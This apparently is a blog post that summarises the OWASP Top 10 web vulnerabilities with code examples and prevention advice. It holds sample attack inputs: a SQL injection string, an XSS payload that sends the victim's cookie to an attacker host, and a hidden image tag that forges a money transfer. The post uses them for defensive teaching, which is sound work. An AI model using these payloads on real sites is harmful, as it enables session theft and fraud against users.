1. Injection

Injection has many types:

  • SQL injection

  • NoSQL injection

  • Command injection

  • Code injection

  • Path traversal

  • ORM injection

  • XML injection

  • XPath injection

Example

A web server makes a query string like the following:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

The attacker modifies the ‘id’ parameter value in her browser to send: ‘ or ‘1’=’1.

How to prevent

  • White-list (untrusted data): What input do we trust? Does it adhere to expected pattern?

  • Use safe API which provides parameterized interface

  • Escape special character

  • Positive or ‘white list’ input validation

2. Broken authentication and session management

It means session management assets like user credentials and session IDs are not properly protected.

Example

If a web site put the token into the query string:

http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii

Then if the user share the link with others, the token/session id will be used by others.

There are other ways to hack the authentication and session management system.

Auth cookie theft:

  • Exploit an XSS risk

  • Retrieve it from the victim’s PC

  • Sniff it over an insecure connection

Account management attack:

  • Brute force the login

  • Exploit password reset

  • Discover weak credentials

Session ID theft:

  • Copy and paste a URL with it

  • Send it via an insecure email

  • Retrieve it from a log

How to prevent

Protect the cookies:

  • Use the HttpOnly flag (HttpOnly is an additional flag included in a Set-Cookie HTTP response header, If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client side script)

  • Make sure they’re flagged as ‘secure’

Decrease the window of risk:

  • Expire sessions quickly

  • Re-challenge the user on key actions

Other ways:

  • Authentication must be over TLS

  • Passwords policy

  • “Secure” error messages

  • Multiple-factor authentication

  • CAPTCHA

  • Block accounts

  • Restore passwords

  • No session identifier in URL

  • Use TLS

  • Logout

  • Close browser window

  • Secure passwords storage: Do not forget salt; SHA-256, SHA-512; PBKDF2, bcrypt, scrypt

3. Cross-site scripting (XSS)

XSS has the following types:

  • Stored XSS

  • Reflected XSS

  • DOM Based XSS

Example

If the web server generate the content by using following code:

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in his browser to:

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

How to prevent

  • Validation: Xxs-filters; Secure-filters; Xss; Validator-js

  • HttpOnly cookies

  • Helmet-csp (Content Security Policy)

4. Insecure direct object references

Insecure direct object reference has the vulnerability to let the hacker get to know the internal system design.

Example

If the web server has the following code:

var messageId = req.params.messageId;
messagesDAO.getById(messageId, function(error, message)
{
    return res.render("message", message);
}

The hacker can use: http://site.com/view-message?messageId=1

How to prevent

  • Use per user or session indirect object references.

  • Check permissions on all application’s layers

  • Testing & Code review

5. Security misconfiguration

Example

The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

How to prevent

Use following tools:

  • Ansible, chef, puppet

  • Helmet

  • Hpp

  • Cors

  • Node-ipgeoblock

  • Express-limiter

  • Safe-regex

6. Sensitive data exposure

Relevant types:

  • Sniffing

  • Insecure cryptographic storage

Example

The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All of the unsalted hashes can be exposed with a rainbow table of precalculated hashes.

Insufficient use of SSL

  • login not loaded over HTTPS

  • Mixed mode

  • Cookies not sent securely

Bad crypto

  • Incorrect password storage

  • Poor protection of keys

  • Weak algorithm chosen

Other exposure risks

  • Browser auto-complete

  • Leaked via logs

  • Disclosure via URL

How to prevent

  • Always use TLS (TLS 1.1 and TSL 1.2)

  • Secured control only over HTTPS

  • HTTP content in HTTPS pages

  • Use cookie’s Secure attribute

  • Minimize sensitive data collection

  • Use strong crypto storage

Use Javascript Cryptography:

  • Crypto

  • Sjcl (Stanford)

  • Crypto-js

  • Node-forge

  • Web Cryptography API

  • PolyCrypt

7. Missing function level access control

Relevant types:

  • Security through obscurity

  • Checking permissions only in UI

  • Missing permissions check in helper services

Relevant questions:

  • Does the UI show navigation to unauthorised functions?

  • Are server side authentication or authorization checks missing?

  • Are server side checks done that solely rely on information provided by the attacker?

  • Are system or diagnostic resources accessible without proper authorisation?

  • Will “force browsing” disclosure unsecured resources?

Example

Attacker uses automated tool like OWASP ZAP or SQLMap to detect vulnerabilities and possibly exploit them.

How to prevent

  • Check permission on all application’s layer

  • Authentication middleware

  • Testing & Code review

  • Define a clear authorisation model

  • Check for forced browsing

  • Always test unprivileged roles

8. Cross-site request forgery (CSRF)

CSRF indicates token vulnerability.

Example

The application allows a user to submit a state changing request that does not include anything secret.

For example:

http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243

So, the attacker constructs a request that will transfer money from the victim’s account to the attacker’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control:

<img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />

If the victim visits any of the attacker’s sites while already authenticated to example.com, these forged requests will automatically include the user’s session info, authorizing the attacker’s request.

BTW, iframe means inline frame is used to embed another document within the current HTML document.

How to prevent

  • Include the unique token in a hidden field. This includes the value in the body of the HTTP request, avoiding its exposure in the URL.

  • Employ anti-forgery tokens

  • Validate the referrer

  • Use csurf

9. Using components with known vulnerabilities

If you build your app by using 3rd party components, the know vulnerabilities of the components impact you. See following links:

10. Unvalidated redirects and forwards

Unvalidated url redirects and forwards may also cause problems.

Example

Let’s say if your web site contains following code:

app.get("/login", function(req, res, next) {
    return res.redirect(req.query.url);
});

http://site.com/login?url=/admin

Hacker can provide a url which looks exactly the same as the original web page which asks for user name/password.

How to prevent

  • Use a URL whitelist

  • Use indirect references

  • Check the referrer

  • Do not use redirects

  • Do not use parameters to create redirect link

  • Validate destination parameter: valid-url

Domain Driven Design: Introduction   Authenticate Node.js App by OpenId Connect

Comments

comments powered by Disqus